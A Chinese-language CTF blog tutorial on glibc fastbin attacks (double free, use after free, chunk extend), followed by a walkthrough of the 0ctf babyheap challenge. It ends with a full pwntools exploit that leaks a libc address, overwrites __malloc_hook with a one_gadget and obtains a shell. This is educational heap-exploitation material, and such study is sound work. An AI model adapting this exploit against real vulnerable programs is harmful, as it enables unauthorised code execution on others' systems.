[pwn]堆:fastbin attack詳解

[pwn]fastbin attack

fastbin attack原理

fastbin attack是利用fastbin分配原理的漏洞,利用要求是我們能夠修改“已釋放”堆塊。通常情況下與double free、use after free和chunk extend連用。

首先簡單介紹一下fastbin的分配流程:

fastbins是管理在malloc_state結構體重的一串單向鏈表,分爲0x20-0x807個鏈表(默認情況下)。每個表頭對應一個長度不超過4個的單向鏈表。

  • 每次釋放對應大小的堆塊都會被連入對應大小的鏈表中(鏈表長度<4)。
  • 每次分配會優先從fastbins中分配對應大小的區塊。

如下圖:
在這裏插入圖片描述
由chunk的bk指針域指向下一個空閒fastbin堆塊,最後一個空閒堆塊的bk指針爲0。申請堆塊的時候會將表中第一個堆塊分配,然後表頭指向第一個堆塊指向的下一個堆塊,如下圖:
在這裏插入圖片描述
如果下一個堆塊爲0就說明分配完了,表頭指向空即可。關於fastbin的更詳細信息和chunk結構等可以參閱《ptmalloc源碼分析》。接下來就三種典型的可以利用fastbin attack的漏洞進行簡單介紹

double free

double free+fastbin attack的利用場景通常是這樣的,當程序有double free漏洞時,我們通過申請兩個fastbin大小的堆塊1和2,還是以0x30舉例,然後分別釋放chunk 1和chunk 2,fastbin的鏈表結構就會如下圖:
在這裏插入圖片描述
這時由於有double free漏洞,再釋放chunk 1,鏈表就會變成這樣一個循環鏈表:
在這裏插入圖片描述
表頭指向chunk1,chunk1指向chunk2,chunk2又指回chunk1。那麼這時按照如下步驟:

  • 申請一個new chunk 1:
    在這裏插入圖片描述
  • 將new chunk 1的指針域修改爲要修改的地址-0x10以上:
    在這裏插入圖片描述
  • 申請一個new chunk 2:
    在這裏插入圖片描述
  • 再申請一個new chunk 3(new chunk 3是和new chunk 1重合的)
    在這裏插入圖片描述
  • 這時可以發現,fastbin鏈表已經指向了我們想要修改的地址了,只要再申請一個堆塊就會申請到想要修改的地址,然後只要編輯這個堆塊便可完成任意地址寫。

use after free

use after free來利用fastbin attack也非常簡單。首先,申請一個對應fastbin區間內的堆塊並釋放:
在這裏插入圖片描述
接着利用use after free將這個已釋放堆塊的指針域修改,修改爲想要修改的地址:
在這裏插入圖片描述
然後和double free的後半段類似,再申請兩個堆塊便可申請到想要修改的地址處,之後編輯即可。

chunk extend

chunk extend是一種限制比較少的堆利用方式,通常通過off by one或off by null或者其他堆溢出來利用。

chuank extend利用需要的條件是:

  1. 可以進行堆佈局
  2. 可以溢出至少一個字節

chunk extend的原理是,首先申請三個堆塊:
在這裏插入圖片描述
這裏size 0x18是堆塊的大小,1是前一個堆塊佔用位,先通過編輯堆塊A然後通過off by one來溢出到堆塊B的size域,並將其修改爲0x18+0x18+1(其實就是size B+size C,然後前一個堆塊佔用1):
在這裏插入圖片描述
這時釋放堆塊B,由於大小在fastbins中,所以(堆塊C的)下一個堆塊的前一個堆塊使用位不會被置0,再釋放C,arena中對應的bins就會指向B和C,如圖:
在這裏插入圖片描述
這時只要再申請一個0x40的大小的堆塊,就可以將B+C這個“合成”堆塊申請回來,然後就可以操作還在bins中的C堆塊C了,將其指針爲修改爲想要任意寫的地址,如free_got:
在這裏插入圖片描述
然後再申請一個大小爲0x20的堆塊,將C申請回來,這時bins就會指向freegot,接下來再申請空間就會申請到freegot了:
在這裏插入圖片描述
再次申請一個0x20大小的堆塊就會申請到free_got所在的地方,這時就可以修改爲任意的值了。

需要注意的點

在申請fastbin時會有兩個檢測:

  • 檢測你要malloc的freechunk的大小是否在該chunk所在的fastbin鏈的大小尺寸範圍內
  • 檢測你這個freechunk的size成員的PREV_INUSE爲是否爲1,爲1纔可以通過檢測(libc2.23沒有)

而以libc-2.23爲例,如果想要使用fastbin attack來修改malloc_hook爲onegadget的話,只是將修改地址寫成malloc_hook_addr-0x10是通過不了檢驗的,一個固定用法是修改成malloc-0x23,下面通過一道題來演示一下chunk extend來利用fastbin attack修改malloc爲onegadget的。

0ctf:babyheap

題目:0ctfbabyheap
首先查看安全策略:
在這裏插入圖片描述
全開,基本堆題目日常操作。然後逆向查看程序邏輯:

在這裏插入圖片描述
基本就是一個典型的堆題目,可以自由申請、編輯、釋放、輸出堆塊。漏洞出現在Fill函數中:
在這裏插入圖片描述
可以向堆塊輸入任意長度,造成溢出。

想要利用,首先是要泄露libc地址。這裏採用的是泄露unsortbin鏈表的地址,先申請四個堆塊如圖,其中最後一個chunk 3的作用是和top chunk隔離:
在這裏插入圖片描述
申請0x68的大小實際上就是0x70,如下:

alloc(0x18) #0
alloc(0x68) #1
alloc(0x68) #2
alloc(0x18) #3

在這裏插入圖片描述
然後利用堆溢出,堆chunk 0編輯,使chunk 0溢出內容將chunk1 的size修改爲0xe1,即chunk1+chunk2大小的和,然後pre佔用位爲1,這時釋放1,相當於釋放了一個size爲0xe0的chunk,會被放入unsortbin鏈表中:

fill(0,0x19,'a'*0x18+'\xe1')
free(1)

在這裏插入圖片描述
這時再申請一個0x70的堆塊,便會從unsortbin中分割一個0x70的大小的堆塊出來,然後剩下的繼續連入unsortbin中。但需要注意的是,分割之前unsortbin中的那個0xe0大小的堆塊是我們通過溢出僞造的堆塊,實際上是由一個0x70的(已釋放堆塊,在前)和一個0x70的(未釋放堆塊,在後)組成的。這時在申請一個0x70的堆塊就會將前一部分已釋放的那個堆塊重新申請回來,那麼後一個堆塊就會被作爲空閒堆塊連入unsortbin中,但實際上這個堆塊我們可控,我們可以將其內容輸出,就會獲得一個指向unsortbin的指針值,便泄露了libc地址:

alloc(0x68) #1
dump(2)
p.recvuntil('Content: \n')
leak = u64(p.recvline()[:8])
print hex(leak)

在這裏插入圖片描述
而這時libc的起始地址是:
在這裏插入圖片描述
那麼地址偏移就是:

libc_base=leak-(0x7fe195323b78-0x7fe194f88000)

這時我們就有了libc的地址了,然後的利用思路是將malloc_hook修改爲onegadget,然後申請一個堆塊就會完成getshell。

這時我們需要的操作也非常簡單,只需再申請一個0x70的堆塊chunk 4,我們就會發現我們有兩個堆塊(chunk2和chunk4)同時指向同一個0x70的地址空間。

alloc(0x68) #4

在這裏插入圖片描述
這時我們只需釋放chunk2,然後編輯chunk4便可修改fastbin的指針了,然後0x70的fastbin鏈表就會變成之前說的“格式”!

malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
alloc(0x68) #4
free(2)
fill(4,0x8,p64(malloc_hook-0x23))

在這裏插入圖片描述
在這裏插入圖片描述
可見,0x70的fastbin鏈已經指向malloc_hook的區域了,這裏多說一嘴,爲什麼是malloc_hook-0x23:
在這裏插入圖片描述
可以看出,malloc_hook-0x23的seze域正好是malloc前面的某個地址的0x7f,可以達到fastbin的身軀的檢測,而由於這個堆塊有0x70這麼大,我們只需要在申請的地址偏移0xb的地方就可以修改到malloc_hook爲onegadget:

onegadget=libc_base+0x4526a
print "one_gadget-> " + hex(onegadget)
alloc(0x68) #2
alloc(0x68) #5
fill(5,0x1b,'a'*0x13+p64(onegadget))

在這裏插入圖片描述
接下來只要再隨便申請一個堆塊便可以了,完整exp如下(調試的時候使用的調試版libc,最後利用的時候要換回做題環境的libc,地址什麼的都需要重新獲取一下):

from pwn import *

context(arch='amd64', os='linux')
context.terminal=['tmux','splitw','-h']
p = process(["./ld.so.2","./0ctfbabyheap"],env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(p)
libc = ELF("./libc.so.6")

def alloc(size):
	p.sendlineafter("Command: ", str(1))
	p.sendlineafter("Size: ", str(size))

def fill(index, size, content):
	p.sendlineafter("Command: ", str(2))
	p.sendlineafter("Index: ", str(index))
	p.sendlineafter("Size: ", str(size))
	p.sendlineafter("Content: ", content)

def free(index):
	p.sendlineafter("Command: ", str(3))
	p.sendlineafter("Index: ", str(index))

def dump(index):
	p.sendlineafter("Command: ", str(4))
	p.sendlineafter("Index: ", str(index))

alloc(0x18) #0
alloc(0x68) #1
alloc(0x68) #2
alloc(0x18) #3
fill(0,0x19,'a'*0x18+'\xe1')
free(1)
alloc(0x68) #1
dump(2)

p.recvuntil('Content: \n')
leak = u64(p.recvline()[:8])
libc_base=leak-(0x7fc4a1902b78-0x7fc4a153e000)
print "libc_base-> " +hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
onegadget=libc_base+0x4526a
print "one_gadget-> " + hex(onegadget)

alloc(0x68) #4
free(2)
fill(4,0x8,p64(malloc_hook-0x23))
alloc(0x68) #2
alloc(0x68) #5
fill(5,0x1b,'a'*0x13+p64(onegadget))
alloc(0x18)
p.interactive()

成功:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章